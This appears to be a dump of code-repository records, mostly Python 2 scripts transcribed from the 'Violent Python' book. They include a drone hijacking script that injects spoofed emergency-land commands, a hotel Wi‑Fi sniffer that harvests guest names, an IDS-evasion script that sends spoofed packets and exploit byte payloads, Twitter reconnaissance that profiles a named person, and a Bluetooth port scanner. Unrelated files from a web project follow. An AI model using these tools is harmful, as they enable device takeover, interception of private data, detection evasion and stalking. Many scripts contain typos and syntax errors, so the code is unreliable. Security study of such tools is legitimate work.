dup.dupUDP(self.curPkt)\n\t\traw - Raw(load=cmd)\n\t\tinjectPkt=radio/dot11/llc/snap/ip/udp/raw\n\t\tsendp(injectPkt)\n\n\tdef emergencyland(self):\n\t\tspoofSeq = self.seq+100\n\t\twatch = 'AT*COMWDG=%i\\r'%spoofSeq\n\t\ttoCmd = 'AT*REF=%1,%s\\r'% (spoofSeq +1, EMER)\n\t\tself.injectCmd(watch)\n\t\tself.injectCmd(toCmd)\n\n\n\n\tdef takeoff(self):\n\t\tspoofSeq = self.seq+100\n\t\twatch = 'AT*COMWDG=%i\\r'%spoofSeq\n\t\ttoCmd = 'AT*REF=%1,%s\\r'% (spoofSeq+1, TAKEOFF)\n\t\tself.injectCmd(watch)\n\t\tself.injectCmd(toCmd)\n\ndef main():\n\tuavIntercept = interceptThread()\n\tuavIntercept.start()\n\tprint '[+] Listening for UAV Traffic. Please WAIT...'\n\twhile uavIntercept.foundUAV == False:\n\t\tpass\n\twhile True:\n\t\ttmp = raw_input('[-] Press ENTER to Emergency Land UAV.')\n\t\tuavIntercept.emergencyland()\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.632867157459259, "alphanum_fraction": 0.6433566212654114, "avg_line_length": 15.882352828979492, "blob_id": "61a8dbe13751aa7151979a37bee63fbe3b73b9d0", "content_id": "94b5339b72c4551a1763478471034a7e26d8de27", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 286, "license_type": "permissive", "max_line_length": 37, "num_lines": 17, "path": "/viewPage.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import mechanize\n\ndef banner():\n\tprint \"[***]\tPage Viewer p213\t[***]\"\n\ndef viewPage(url):\n\tbrowser = mechanize.Browser()\n\tpage = browser.open(url)\n\tsource_code=page.read()\n\tprint source_code\n\ndef main():\n\tbanner()\n\tviewPage('http://www.syngress.com')\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6114519238471985, "alphanum_fraction": 0.6687116622924805, "avg_line_length": 22.33333396911621, "blob_id": "b8b464dc78381ff988cf619f6540247557b17bac", "content_id": "9e9900e345b567f1a05ec7fe630dd17ccf687d0b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 489, "license_type": "permissive", "max_line_length": 117, "num_lines": 21, "path": "/userAgentTest.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import mechanize\n\ndef banner():\n\tprint \"[***]\tProxy p215\t\t[***]\"\n\ndef testUserAgent(url, userAgent):\n\tbrowser = mechanize.Browser()\n\tbrowser.addheaders = userAgent\n\tpage = browser.open(url)\n\tsource_code = page.read()\n\tprint source_code\n\nurl = 'http://whatismyuseragent.dotdoh.com/'\nuserAgent = [('User-agent', 'Mozilla/5.0 (x11: U; '+'Linux 2.4.2-2 i586; en-US; m18) Gecho/20010131 Netscape6/6.01')]\n\ndef main():\n\tbanner()\n\ttestUserAgent(url, userAgent)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6364812254905701, "alphanum_fraction": 0.6468305587768555, "avg_line_length": 24.799999237060547, "blob_id": "ef0b475bdeaf3f58b1065267266bfb0d0a257725", "content_id": "80b5aa246694689164cfdcada0d16e74c0d8f222", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 773, "license_type": "permissive", "max_line_length": 97, "num_lines": 30, "path": "/hotelSniff.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import optparse\nfrom scapy.all import *\n\ndef banner():\n\tprint \"[***]\tHotel Wireless Sniffer p180\t\t[***]\"\n\ndef findGuest(pkt):\n\traw= pket.sprintf('%Raw.load%')\n\tname = re.findallI('(?i)LAST_NAME=(.*)&', raw)\n\tif name:\n\t\tprint '[+] Found Hotel Guest '+str(name[0])+', Room # '+str(room[0])\n\ndef main():\n\tparser = optparse.OptionParser('usage%prog '+'-i <interface>')\n\tparser.add_option('-i', dest='interface', type ='string', help='specify interface to listen on')\n\t(options, args) = parser.parse_args()\n\tif options.interface == None:\n\t\tprint parser.usage\n\t\texit(0)\n\telse:\n\t\tconf, iface = options, interface\n\ttry:\n\t\tprint '[*] Starting Google Sniffer. '\n\t\tsniff(filter='tcp', prn=findGuest, store=0)\n\texcept:\n\t\tKeyboardInterrupt:\n\t\texit(0)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6322016716003418, "alphanum_fraction": 0.6718106865882874, "avg_line_length": 33.08771896362305, "blob_id": "a2d1896d85c743f3af1668dc1755b9fe0a4263c8", "content_id": "4870199cf30ff410da03c5fc1b838ff9aa21e42e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1944, "license_type": "permissive", "max_line_length": 104, "num_lines": 57, "path": "/idsFoil.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport optparse\nfrom scapy.all import *\nfrom random import randint\n\ndef banner():\n\tprint \"[***]\tIntrusion Detection Bypass p 166\t[***]\"\n\ndef ddosTest(src, dst, iface, count):\n\tpkt = IP(src=src, dst=dst) /ICMP(type=8, id=678) Raw(load='1234')\n\tsend(pkt, iface=iface, count=count)\n\tpkt= IP(src=src, dst=dst) / ICMP(type=0) /Raw(load='AAAAAAAAAA')\n\tsend(pkt, iface=iface, count = count)\n\tpkt= IP(src=src, dst=dst)/UDP(dport=31335)/Raw(load='PONG')\n\tsend(pkt,iface=iface, count=count)\n\tpkt=IP(src=src, dst=dst)/ICMP(type=0, id=456)\n\tsend(pkt, iface=iface, count=count)\n\ndef exploitTest(src, dst, iface, count):\n\tpkt = IP(src=src, dst=dst)/ UDP(dport=518) Raw(load=\"\\x01\\x03\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x02\\xE8\")\n\tsend(pkt, iface=iface, count=count)\n\tpkt = IP(src=src, dst=dst) / UDP(dport=7) Raw(load=\"\\xB0\\x02\\x89\\xFE\\xC8\\x89F\\x04\\xB0\\x06\\x89F\")\n\ndef scanTest(src, dst, iface, count):\n\tpkt= IP(src= src, dst=dst) / UDP(dport=10080) Raw(load='Amanda')\n\tsend(pkt, iface=iface, count = cpount)\n\ndef main():\n\tparser = optparse.OptionParser('usage%prog '+'-i <interface>')\n\tparser.add_option('-i', dest='interface', type ='string', help='specify network interface')\n\tparser.add_option('-s', dest='interface', type ='string', help='specify source address')\n\tparser.add_option('-t', dest='interface', type ='string', help='specify target address')\n\tparser.add_option('-c', dest='interface', type ='int', help='specify packet count')\n\t(options, args) = parser.parse_args()\n\tif options.iface == None:\n\t\tiface = 'eth0'\n\t\texit(0)\n\telse:\n\t\tiface = options.iface\n\tif options.src == None:\n\t\tsrc = '.',join([str(randint(1,254)) for x in range(4)])\n\telse:\n\t\tsrc = options.src\n\tif options.tgt == None:\n\t\tprint parser.usage\n\t\texit(0)\n\telse:\n\t\tdst = options.tgt\n\tif options.count -- None:\n\t\tcount = 1\n\telse:\n\t\tcount = options.count\n\tddosTest(src, dst, iface, count)\n\texploitTest(src, des, iface, count)\n\nif __name__ == '__main__':\n\tmain()\n\n" }, { "alpha_fraction": 0.625573992729187, "alphanum_fraction": 0.6354644894599915, "avg_line_length": 27.03960418701172, "blob_id": "fc0d1d57c783ab58fc0401662a6d9e9674481f5a", "content_id": "45d2a976a44012fd81aeaddc247ac008c95880d2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2831, "license_type": "permissive", "max_line_length": 85, "num_lines": 101, "path": "/twitterInterests.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import urllib, json, re, urllib2, optparse\nfrom anonBrowser import *\n\ndef banner():\n\tprint \"[***]\tMirroring images p231-236\t\t\t[***] \"\n\tprint \"[*] This actually starts on 231. The reconPerson \"\n\tprint \"Class gathers info from the user such as interests \"\n\tprint \"tweets and hashtags. \t\t\t\t\t\t\t \"\n\nclass reconPerson:\n\tdef __init__(self, handle):\n\t\tself.handle = handle\n\t\tself.tweets - self.get_tweets()\n\n\tdef get_tweets(self):\n\t\tquery = urllib.quote_plus('from:'+self.handle+' since:2009-01-01 include:retweets')\n\t\ttweets = []\n\t\tbrowser = anonBrowser()\n\t\tbrowser.anonymize()\n\t\tresponse = browser.open('http://search.twitter.com/'+'search.json?q='+query)\n\t\tjson_objects = json.load(resepone)\n\t\tfor result in json_objects['resutls']:\n\t\t\tnew_result = {}\n\t\t\tnew_result['from_user']=result['from_user_name']\n\t\t\tnew_result['geo'] = result['geo']\n\t\t\tnew_result['tweet']= result['text']\n\t\t\ttweets.append(new_result)\n\t\treturn tweets\n\n\tdef find_interests(tweets):\n\t\tinterests = {}\n\t\tinterests['links'] = []\n\t\tinterests['users']= []\n\t\tinterests['hashtags'] = []\n\t\tfor tweet in self.tweets:\n\t\t\ttext = tweet['tweet']\n\t\t\tlinks = re.compile('(http.*?)\\Z|(http.*?) ').findall(text)\n\t\t\tfor link in links:\n\t\t\t\tif link[0]:\n\t\t\t\t\tlink = link[0]\n\t\t\t\telif link[1]:\n\t\t\t\t\tlink = link[1]\n\t\t\t\telse:\n\t\t\t\t\tcontinue\n\t\t\ttry:\n\t\t\t\tresponse = urllib2.urlopen(link)\n\t\t\t\tfull_link = response.url\n\t\tinterests['links'].append(full_link)\n\t\t\texcept:\n\t\t\t\tpass\n\t\t\t\tinterests['users'] += re.compile('(@\\w+)').findall(text)\n\t\t\t\tinterests['hashtags'] += re.compile('(#\\w+)').findall(text)\n\t\t\t\tinterests['users'].sort()\n\t\t\t\tinterests['hashtags'].sort()\n\t\t\t\tinterests['links'].sort()\n\t\t\t\treturn interests\n\n\tdef twitter_locate(self, cityFile):\n\t\tcities =[]\n\t\tif cityFile != None:\n\t\t\tfor line in open(cityFile).readlines():\n\t\t\t\tcity = line.strip('\\n').strip('\\r').lower()\n\t\t\t\tcities.append(city)\n\t\tlocations = []\n\t\tlocCnt = 0\n\t\tcityCnt = 0\n\t\ttweetsText = ''\n\t\tfor tweet in self.tweets:\n\t\t\tif tweet['geo'] != None:\n\t\t\t\tloocations.append(tweet['geo'])\n\t\t\t\tlocCnt +=1\n\t\t\t\ttweetsText += tweet['tweet'].lower()\n\t\tfor city in cities:\n\t\t\tif city in tweetsText:\n\t\t\t\tlocations.append(city)\n\t\t\t\tcityCnt += 1\n\t\treturn locations\n\ndef main():\n\tbanner()\n\tparser = optparse.Optionparser(\"usage%prog \"+\"-u <twitter handle> \")\n\tparser.add_option('-u', dest='handle', type='string', help='specify Twitter handle')\n\t(options, args) = parser.parse_args()\n\thandle = options.handle\n\tif handle == None:\n\t\tprint parser.usage\n\t\texit(0)\n\ttweets = get_tweets(handle)\n\tinterests = find_interests(tweets)\n\tprint '\\n[+] Links.'\n\tfor link in set(interests['links']):\n\t\tprint '[+] '+str(link)\n\tprint '\\n [+] Users.'\n\tfor user in set(interests['users']):\n\t\tprint '[+] '+str(user)\n\tprint '\\n [+] Hashtags.'\n\tfor hashtag in set(interests['hashtags']):\n\t\tprint '[+] '+ str(hashtag)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.5831325054168701, "alphanum_fraction": 0.6168674826622009, "avg_line_length": 19.799999237060547, "blob_id": "78847a673e0fa587ca060feef4fef78dfb0a2778", "content_id": "c557ef95d471e61e00a0a1bf00a8459d7f91eee9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 415, "license_type": "permissive", "max_line_length": 47, "num_lines": 20, "path": "/rfcommScan.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "from bluetooth import *\n\ndef banner():\n\tprint \"[***]\tRFCOMM scan p 206\t[***]\"\n\ndef rfcommCon(addr, port):\n\tsock = BluetoothSocket(RFCOMM)\n\ttry:\n\t\tsock.connect((addr, port))\n\t\tprint '[+] RFCOMM Port '+str(port)+' open'\n\t\tsock.close()\n\texcept Exception, e:\n\t\tprint '[-] RFCOMM Port '+str(port)+ ' closed'\n\ndef main():\n\tfor port in range(1,30):\n\trfcommCon('00:16:38:DE:AD:11', port)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.657940685749054, "alphanum_fraction": 0.6710296869277954, "avg_line_length": 25.674419403076172, "blob_id": "f9af482e80a6fd416a51a0ce5d2df0ecfb44250c", "content_id": "4d6f441d5482435a343e7637120878855c40b97f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1146, "license_type": "permissive", "max_line_length": 78, "num_lines": 43, "path": "/twitterRecon.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import json, urllib\nfrom anonBrowser import *\n\ndef banner():\n\tprint \"[***]\tMirroring images p227\t[***]\"\n\nclass reconPerson():\n\tdef __init__(self, first_name, last_name):\n\t\tjob = '', social_media={}:\n\t\tself.first_name = first_name\n\t\tself.last_name= last_name\n\t\tslef.job = jobs\n\t\tself.social_media = social_media\n\n\tdef __repr__(self):\n\t\treturn self.first_name+''+ self.last_name+'has job '+self.job\n\n\tdef get_social(self, media_name):\n\t\tif self.social_media.has_key(media_name):\n\t\t\treturn self.social_media[media_name]\n\t\treturn None\n\n\tdef query_twitter(self, query):\n\t\tquery = urllib.quote_plus(query)\n\t\tresults []\n\t\tbrowser= anonBrowser()\n\t\tresponse = browser.open('http://search.twitter.com/search.json?q='+query)\n\t\tjson_objects = json.load(response)\n\t\tfor result in json_objects['results']:\n\t\t\tnew_result = {}\n\t\t\tnew_result ['from_user'] = result ['text']\n\t\t\tnew_result['geo'] = result['geo']\n\t\t\tnew_result['tweet'] = result ['text']\n\t\t\tresults.append(new_result)\n\t\treturn results\nap= reconperson('Bookdock','Saint')\nprint ap.query_twitter('from:th3j34t5ter since:2010-01-01 include:retweets')\t\t\n\n\ndef main():\n\nif __name__ == '__main__':\n\tmain()" } ]
34
PetrDolezel6/Engeto-Project-2
https://github.com/PetrDolezel6/Engeto-Project-2
0ebab6ed32fa7d0fcc088a3d139362b9ba920863
aec9a5035992cbc54f2b491f4e9be1dcac5c7ef0
cd8da557160cf2d938533701abd7616616c80483
refs/heads/main
2023-02-23T22:19:21.248467
2021-01-18T20:44:38
2021-01-18T20:44:38
330,382,167
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.7407407164573669, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 12.5, "blob_id": "1fceec0a8f265b6610cba547933e674644375e39", "content_id": "6c53c6b696a93c05495cd82e82e3cbb50627060c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27, "license_type": "no_license", "max_line_length": 18, "num_lines": 2, "path": "/README.md", "repo_name": "PetrDolezel6/Engeto-Project-2", "src_encoding": "UTF-8", "text": "# Engeto-Project-2\nCowbull\n" }, { "alpha_fraction": 0.5470494627952576, "alphanum_fraction": 0.5661882162094116, "avg_line_length": 21.594594955444336, "blob_id": "69dc7231d6f10e71d494d418c1eea0c8d52ca135", "content_id": "22537b8eed84b47158889431fd1e70c35a95f9ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2508, "license_type": "no_license", "max_line_length": 75, "num_lines": 111, "path": "/Engeto_Projekt_2.py", "repo_name": "PetrDolezel6/Engeto-Project-2", "src_encoding": "UTF-8", "text": "import random\n\nhidden_num = ''\nguessed_num = ''\n\n\ndef hidden():\n \"\"\"\n () --> str\n Generate a random 4 digit number.\n \"\"\"\n global hidden_num\n hidden_num = str(random.randint(1000, 10000))\n while not validate_hidden(hidden_num):\n hidden_num = str(random.randint(1000, 10000))\n return hidden_num\n\n\ndef validate_hidden(hidden_num):\n \"\"\"\n () --> Bool\n Check if digits do not repeat:\n \"\"\"\n for i in hidden_num:\n if hidden_num.count(i) != 1:\n return False\n return True\n\n\ndef guess():\n \"\"\"\n () --> str\n Pick a 4 digit number.\n \"\"\"\n global guessed_num\n guessed_num = input('Enter your guess, please >>>>')\n while not validate_guess(guessed_num):\n guessed_num = input('Try again, please')\n return guessed_num\n\n\ndef validate_guess(guessed_num):\n \"\"\"\n () --> Bool\n Return True if the number was entered correctly.\n \"\"\"\n\n if len(guessed_num) != 4:\n print('Enter 4 digits!')\n return False\n if not guessed_num.isdigit():\n print('Enter numbers only!')\n return False\n if guessed_num[0] == '0':\n print('First digit can not be a zero!')\n return False\n for i in guessed_num:\n if guessed_num.count(i) != 1:\n print('Do not repeat digits!')\n return False\n return True\n\n\ndef bulls_and_cows(hidden_num, guessed_num):\n \"\"\"\n (str, str) --> List\n Generate a random 4 digit number.\n \"\"\"\n counter_bulls = 0\n counter_cows = 0\n for i in range(4):\n if hidden_num[i] == guessed_num[i]:\n counter_bulls += 1\n for i in range(4):\n for j in range(4):\n if hidden_num[i] == guessed_num[j]:\n counter_cows += 1\n return counter_bulls, counter_cows - counter_bulls\n\n\ndef welcome():\n print('''\n Welcome to the herd of Bulls and Cows\n\n You have 10 attempts to find hidden 4 digit number.\n\n Enter 4 digits.\n Number can not start with 0.\n Do not repeat digits.\n Enter digits only.\n ''')\n\n\ndef main():\n attempts = 0\n while (attempts < 10) and (hidden_num != guessed_num):\n print('Attempt number:', attempts + 1)\n guess()\n result = (bulls_and_cows(hidden_num, guessed_num))\n print('Bulls:', result[0], 'and Cows', result[1])\n print('')\n attempts += 1\n if attempts < 10:\n print('Good job!')\n else:\n print('Sorry, try another time! The hidden number was', hidden_num)\n\n\nwelcome()\nhidden()\nmain()\n" } ]
2
ReDS-9000/Esopianeti
https://github.com/ReDS-9000/Esopianeti
a936c094008f1152d52b122a2edd6c8a79a8171c
8c31750f046097940580b6cd36cf76d957a91f35
19f7558d536139516af9d3439bbd8f14e8572bc7
refs/heads/master
2022-04-07T00:30:22.059556
2019-12-29T10:39:53
2019-12-29T10:39:53
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6437810659408569, "alphanum_fraction": 0.6597014665603638, "avg_line_length": 22.414634704589844, "blob_id": "5a4ad35637fbc33cf4b2d391c4422aa179dff47a", "content_id": "67c105c4bef8bcf4983f81ae5c0575e92c1eda84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1006, "license_type": "no_license", "max_line_length": 106, "num_lines": 41, "path": "/Grafico.py", "repo_name": "ReDS-9000/Esopianeti", "src_encoding": "UTF-8", "text": "#coding: utf-8\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport json\r\n\r\ndef prendi_json(path):\r\n\tdati=json.load(open(path,\"r\"))\r\n\treturn dati\r\n\r\ndef salva_json(dati,path):\r\n\twith open(path,\"w\") as outfile:\r\n\t\tjson.dump(dati,outfile,indent=8)\r\n\treturn\r\n\r\ndef creazione_grafico(stelle):\r\n\r\n\r\n\tn_stelle=len(stelle)\r\n\tplt.title('stelle')\r\n\tplt.xlim(0,50000)\r\n\tplt.ylim(0,50000)\r\n\t\r\n\tcolori=['r','g','b','c','m','y','k']\r\n\t\r\n\tfor i in range(n_stelle):\r\n\t\tplt.plot(stelle[\"stella_\"+str(i+1)][\"tempo_tot\"],stelle[\"stella_\"+str(i+1)][\"luminosita_tot\"],colori[i])\r\n\tplt.ylabel('luminosità')\r\n\tplt.xlabel('tempo(s)')\r\n\tplt.show()\r\n\t\r\n\r\ncontatore=prendi_json(\"Contatore/Contatore.json\")\r\nif(contatore[\"da_solo\"]==\"True\"):\r\n\r\n\tstelle_tot=prendi_json(\"Dati/File\"+str(contatore[\"contatore\"])+\".json\")\r\n\tcontatore[\"da_solo\"]=\"False\"\r\nelse:\r\n\tstelle_tot=prendi_json(\"Dati/\"+str(input(\"Quale file vuoi aprire?\"))+\".json\")\r\n\r\nsalva_json(contatore,\"Contatore/Contatore.json\")\r\ncreazione_grafico(stelle_tot)\r\n\r\n\r\n" }, { "alpha_fraction": 0.5605095624923706, "alphanum_fraction": 0.5923566818237305, "avg_line_length": 25, "blob_id": "5c6a49889c02ba6b0ddb3a12577f11d6ef2ef82c", "content_id": "6ec68c8fff078e1aa4cf8ea439a59be1662d4fa2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 157, "license_type": "no_license", "max_line_length": 110, "num_lines": 6, "path": "/difference.py", "repo_name": "ReDS-9000/Esopianeti", "src_encoding": "UTF-8", "text": "import os\nimport sys\n\n\nfor i in range(1000):\n\tos.system(\"compare -compose src \" + str(i) + \".png \" + str(i+1) + \".png\" + str(\" difference/diff_\" + str(i)))\n\n" }, { "alpha_fraction": 0.5859375, "alphanum_fraction": 0.6145833134651184, "avg_line_length": 15.363636016845703, "blob_id": "27068e2756ab255f169baeded03ba485f5d1db73", "content_id": "e2e59004c784b93dc371b0b582abcc3653af5fdb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 384, "license_type": "no_license", "max_line_length": 31, "num_lines": 22, "path": "/imagen.py", "repo_name": "ReDS-9000/Esopianeti", "src_encoding": "UTF-8", "text": "\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom astropy.io import fits\r\nimport matplotlib.pyplot as plt\r\nindirizzo='level_1.fits'\r\nhdu=fits.open(indirizzo)\r\ndata=hdu[0].data\r\nima=data[6,:,:]\r\nplt.imshow(-ima,cmap='ocean')\r\n\r\nfor i in range(1000):\r\n\tprint (i)\r\n\tima=data[i,:,:]\r\n\tplt.imshow(-ima,cmap='ocean')\r\n\tplt.plot([1,2,3])\r\n\tplt.savefig(str(i)+'.png')\r\n\r\n\r\nprint (len(data))\r\n\r\n\r\nplt.show()\r\n" }, { "alpha_fraction": 0.6731223464012146, "alphanum_fraction": 0.6877657175064087, "avg_line_length": 23.178571701049805, "blob_id": "e969bb5600a64245eba173323c5d3f974df755be", "content_id": "3c2564f87b4f8307604528ec1ef580ddaaab9eb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2121, "license_type": "no_license", "max_line_length": 133, "num_lines": 84, "path": "/Calcola_luminosità.py", "repo_name": "ReDS-9000/Esopianeti", "src_encoding": "UTF-8", "text": "#coding: utf-8\r\nfrom astropy.io import fits\r\nimport json\r\nfrom datetime import datetime\r\nimport os\r\n\r\ndef prendi_json(path):\r\n\tdati=json.load(open(path,\"r\"))\r\n\treturn dati\r\n\t\r\n\t\r\ndef salva_json(dati,path):\r\n\twith open(path,\"w\") as outfile:\r\n\t\tjson.dump(dati,outfile,indent=8)\r\n\treturn\r\n\r\n\r\ndef calcola_luminosita_stella(dati,colonna,riga,raggio):#riga e colonna del centro della stella\r\n\r\n\tdati_tot={\"tempo_tot\":[],\"luminosita_tot\":[]}\r\n\t\r\n\triga_partenza=riga-raggio\r\n\tcolonna_partenza=colonna-raggio\r\n\t\r\n\triga_arrivo=riga+raggio\r\n\tcolonna_arrivo=colonna+raggio\r\n\t\r\n\tif (riga_partenza<0 or riga_arrivo>128 or colonna_partenza<0 or colonna_arrivo>128):\r\n\t\tdati_tot[\"tempo_tot\"].append(0)\r\n\t\tdati_tot[\"luminosita_tot\"].append(0)\r\n\t\treturn dati_tot#se le coordinate vanno fuori dalla matrice di dati, ritornerà un valore di 0 che non verrà visualizzato nel grafico\r\n\t\r\n\tluminosita=0\r\n\t\r\n\ttempo=0\r\n\t\r\n\tfor k in range(1000):#for per ogni foglio di dati\r\n\t\tfor i in range(raggio*2+1):#for per le righe\r\n\t\t\tfor j in range(raggio*2+1):#for per le colonne\r\n\t\r\n\t\t\t\tluminosita+=dati[k][riga_partenza+i][colonna_partenza+j]#somma tutte le luminosità\r\n\t\t\t\t\r\n\r\n\t\tdati_tot[\"luminosita_tot\"].append(luminosita)#salva la luminosità totale di 1 foglio in un array\r\n\t\tdati_tot[\"tempo_tot\"].append(tempo)\r\n\t\ttempo+=50\r\n\t\tluminosita=0#si azzera per ricominciare un nuovo foglio\r\n\t\r\n\t\r\n\t\r\n\treturn dati_tot\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nindirizzo='level_1.fits'\r\nhdu=fits.open(indirizzo)\r\ndata=hdu[0].data\r\nstelle_tot={}\r\n\r\nvideo=str(input(\"Nome Video -> \"))\r\nos.system(\"vlc Video/\" + video + \".mpg &\")\r\nos.system(\"vlc Video/\" + video + \"diff.mpg &\")\r\n\r\nfor i in range(int(input(\"Quante stelle? \"))):\r\n\tstelle_tot[\"stella_\"+str(i+1)]=calcola_luminosita_stella(data,int(input(\"X stella \")),int(input(\"Y stella \")),int(input(\"raggio \")))\r\n\tprint(\"Fatto!\\nProssima stella\\n\")\r\n\r\ncontatore=prendi_json(\"Contatore/Contatore.json\")\r\n\r\n\r\nsalva_json(stelle_tot,\"Dati/File\"+str(contatore[\"contatore\"])+\".json\")\r\n\r\n\r\ncontatore[\"contatore\"]+=1\r\ncontatore[\"da_solo\"]=\"True\"\r\n\r\nsalva_json(contatore,\"Contatore/Contatore.json\")\r\n\r\nos.system(\"python Grafico.py &\")\r\n\r\n" }, { "alpha_fraction": 0.6621004343032837, "alphanum_fraction": 0.7260273694992065, "avg_line_length": 23.33333396911621, "blob_id": "9bd8de86ff822cd85a13c21188098f573e26043d", "content_id": "cf001461858c99662e8bb3addd1e27fd1f269dfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 220, "license_type": "no_license", "max_line_length": 32, "num_lines": 9, "path": "/plotgrafico.py", "repo_name": "ReDS-9000/Esopianeti", "src_encoding": "UTF-8", "text": "def creazione_grafico(stella_1):\n\tluminosita=np.array(stella_1)\n\ttempo=np.array(tempo_tot)\n\tplt.xlim(0,50000)\n\tplt.ylim(0,50000)\n\tplt.plot(tempo,luminosita)\n\tplt.ylabel('luminosità')\n\tplt.xlabel('tempo(s)')\n\tplt.show()\n" }, { "alpha_fraction": 0.6875, "alphanum_fraction": 0.7171052694320679, "avg_line_length": 20.428571701049805, "blob_id": "149fd81960b2e6099616d96227a62634a6561e22", "content_id": "46480c3dc296fec3dab85d5887d96cc1182670a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 304, "license_type": "no_license", "max_line_length": 81, "num_lines": 14, "path": "/README.md", "repo_name": "ReDS-9000/Esopianeti", "src_encoding": "UTF-8", "text": "# Esopianeti\n## Rilevazione esopianeti da file FITS\n\n[pagina CodeShare](https://codeshare.io/2pVPQE) \n[file FITS](https://drive.google.com/open?id=191SiAYfwVpRsr0RLqIgSUufB4TTA4DmB) \n\nRequirements: \n- python3 \n- ffmpeg \n- imagemagick\n- python3 libraries: \n\t- astropy \n\t- matplotlib \n\t- numpy \n \n" } ]
6
ADOPSE-Team/M-TV-Info
https://github.com/ADOPSE-Team/M-TV-Info
d54b778e955bb7df964279b8613ba265d06eb150
77051e7235799351b8c6f30fb25a455f5f041204
23a833997956d936d248a72a1c5af39f72415f57
refs/heads/main
2023-04-27T19:17:50.547760
2021-05-16T20:59:47
2021-05-16T20:59:47
348,464,015
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8108882308006287, "alphanum_fraction": 0.8108882308006287, "avg_line_length": 25.769229888916016, "blob_id": "2dbf99110dd0cce0e2513c043a197bb9d8d07fec", "content_id": "b392c9edb46e285a58e945bbb453ff403c814b37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 349, "license_type": "no_license", "max_line_length": 39, "num_lines": 13, "path": "/Tests/Selenium/main.py", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "import tester\nimport json\nimport manager\n\ntester.execute_register_tests()\ntester.execute_login_tests()\ntester.execute_profile_tests()\ntester.execute_delete_tests()\ntester.execute_password_tests()\ntester.execute_watchlist_add_tests()\ntester.execute_watchlist_remove_tests()\ntester.execute_favorite_add_tests()\ntester.execute_favorite_remove_tests()\n\n" }, { "alpha_fraction": 0.6980000138282776, "alphanum_fraction": 0.7099999785423279, "avg_line_length": 25.263158798217773, "blob_id": "2910f8e8f1921b121d251abf6720b034711b8317", "content_id": "5d095c053fc6823849db0a3c650161b47a5a30da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 577, "license_type": "no_license", "max_line_length": 55, "num_lines": 19, "path": "/README.md", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "## Project:\n* ASP.NET Core + Razor + Entity Framework\n\n## How to Deploy:\nInstall\n* Install .NET Core 5.0.2\n\n1. Fork/Clone\n2. Connect Database\n3. Update-Database\n\n### Created by:\n* [Καρανικόλας Γιώργος](https://github.com/SeijinD)\n* [Τσιλίκας Ιωάννης](https://github.com/Ioatsi)\n* [Κιντζονίδης Γιώργος](https://github.com/kintzo)\n* [Τζήκας Δημήτρης](https://github.com/DimitrisTzikas)\n* [Λάμαΐ Κριστέλ](https://github.com/klamaj)\n## More Info:\n* [Wiki](https://github.com/ADOPSE-Team/M-TV-Info/wiki)\n\n" }, { "alpha_fraction": 0.7010050415992737, "alphanum_fraction": 0.7010050415992737, "avg_line_length": 34.181819915771484, "blob_id": "ce121a45a08b865bf63dd38c2f30271192bd1cb5", "content_id": "21c749833b2f9f58fe2a19e3240b4b18736844da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 798, "license_type": "no_license", "max_line_length": 102, "num_lines": 22, "path": "/M-TV-Info/Data/ApplicationDbContext.cs", "repo_name": "ADOPSE-Team/M-TV-Info", "src_encoding": "UTF-8", "text": "using M_TV_Info.Models;\r\nusing Microsoft.AspNetCore.Identity;\r\nusing Microsoft.AspNetCore.Identity.EntityFrameworkCore;\r\nusing Microsoft.EntityFrameworkCore;\r\nusing 